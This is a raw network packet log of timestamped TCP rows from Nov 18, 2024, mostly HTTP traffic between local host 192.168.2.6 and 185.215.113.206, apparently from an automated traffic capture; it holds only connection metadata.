Nov 18, 2024 00:27:56.945328951 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.945353985 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.945374012 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.947176933 CET	50019	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.947292089 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.953444004 CET	50018	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.955007076 CET	50019	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.955018997 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.983273983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.983289957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.983303070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.983320951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.983333111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.983344078 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.983356953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.983359098 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.983395100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.983405113 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.983484983 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.999330044 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:57.017867088 CET	443	50017	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.023243904 CET	50017	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:57.023262978 CET	443	50017	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.024805069 CET	50017	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:57.024811029 CET	443	50017	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.033804893 CET	50025	443	192.168.2.6	20.189.173.15
Nov 18, 2024 00:27:57.033850908 CET	443	50025	20.189.173.15	192.168.2.6
Nov 18, 2024 00:27:57.033919096 CET	50025	443	192.168.2.6	20.189.173.15
Nov 18, 2024 00:27:57.035408974 CET	50025	443	192.168.2.6	20.189.173.15
Nov 18, 2024 00:27:57.035425901 CET	443	50025	20.189.173.15	192.168.2.6
Nov 18, 2024 00:27:57.040462971 CET	50026	443	192.168.2.6	20.189.173.15
Nov 18, 2024 00:27:57.040517092 CET	443	50026	20.189.173.15	192.168.2.6
Nov 18, 2024 00:27:57.040585995 CET	50026	443	192.168.2.6	20.189.173.15
Nov 18, 2024 00:27:57.041069031 CET	50026	443	192.168.2.6	20.189.173.15
Nov 18, 2024 00:27:57.041090012 CET	443	50026	20.189.173.15	192.168.2.6
Nov 18, 2024 00:27:57.045893908 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.046248913 CET	50019	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:57.064251900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064268112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064291954 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064304113 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064316988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064322948 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064328909 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064342976 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064364910 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064390898 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064455032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064466953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064479113 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064490080 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064490080 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064511061 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064522028 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064523935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064537048 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064548969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064560890 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064573050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064587116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064613104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064613104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064613104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064629078 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064661026 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064672947 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064685106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064694881 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064697027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064709902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064714909 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064733028 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064743996 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064745903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064759016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064764023 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064769983 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064781904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064790964 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064795017 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064805984 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064817905 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064819098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064831018 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064836979 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064842939 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064852953 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064865112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064877033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064879894 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064888000 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064903021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.064908028 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064937115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.064960957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065011024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065022945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065035105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065047979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065057993 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065059900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065088987 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065141916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065155029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065166950 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065176964 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065211058 CET	443	50008	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:57.065212011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065335035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065346956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065359116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065371990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065385103 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065392971 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065404892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065412998 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065416098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065428019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065431118 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065437078 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065447092 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065484047 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065490007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065500975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065511942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065524101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065526009 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065536022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065546036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065551996 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065557957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065568924 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065568924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065582037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065593958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065598011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065606117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065617085 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065623045 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065629005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065639973 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065640926 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065654039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065668106 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065692902 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065896988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065907955 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065918922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065932035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065943956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065954924 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065956116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065957069 CET	50008	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:57.065957069 CET	50008	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:57.065968037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065970898 CET	443	50008	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:57.065978050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065984964 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.065989017 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.065999985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066020966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066028118 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066031933 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066040039 CET	50008	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:57.066042900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066056967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066061020 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066067934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066081047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066091061 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066095114 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066107035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066109896 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066118956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066128016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066131115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066143036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066154957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066154957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066167116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066179991 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066184998 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066195965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066205978 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066206932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066226006 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066226006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066246033 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066270113 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066448927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066461086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066473007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066484928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066489935 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066495895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066508055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066509962 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066519976 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066530943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066536903 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066541910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066554070 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066555977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066569090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066580057 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066581011 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066592932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066603899 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066608906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066623926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066625118 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066636086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066648006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066649914 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066659927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066668987 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066670895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066683054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066694975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066695929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066709042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066715002 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066721916 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066730022 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066732883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066759109 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066781998 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066881895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066894054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066905975 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066916943 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066929102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066940069 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066941977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066953897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066966057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.066970110 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.066987038 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.067011118 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.098334074 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.098349094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.098361015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.098402023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.098401070 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.098413944 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.098426104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.098439932 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.098443985 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.098460913 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.098462105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.098472118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.098484039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.098490000 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.098495960 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.098506927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.098524094 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.098539114 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.106240034 CET	443	50021	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.106867075 CET	50021	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:57.106894970 CET	443	50021	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.107393980 CET	50021	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:57.107399940 CET	443	50021	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.151258945 CET	443	50017	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.151448011 CET	443	50017	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.151542902 CET	50017	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:57.152081966 CET	50017	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:57.152081966 CET	50017	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:57.152098894 CET	443	50017	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.152107954 CET	443	50017	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.155921936 CET	50027	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:57.155967951 CET	443	50027	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.156135082 CET	50027	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:57.156415939 CET	50027	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:57.156435013 CET	443	50027	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:57.174406052 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.174422979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.174446106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.174606085 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.174606085 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.174626112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.174712896 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.174993038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175048113 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.175081968 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175093889 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175112963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175127029 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.175134897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175137997 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.175147057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175159931 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175169945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175174952 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.175180912 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175199986 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175210953 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.175214052 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175228119 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175234079 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.175245047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175256014 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175267935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175268888 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.175278902 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175302029 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.175328970 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.175374031 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175386906 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175399065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175419092 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175431013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175431967 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.175441027 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175451994 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175458908 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.175468922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175478935 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.175481081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175493956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.175530910 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.175530910 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.175559998 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177002907 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177031040 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177045107 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177067041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177078009 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177089930 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177102089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177109957 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177114010 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177124023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177128077 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177136898 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177150011 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177164078 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177179098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177184105 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:57.177190065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:57.177201986 CET	80	49889	185.215.113.206	192.168.2.6
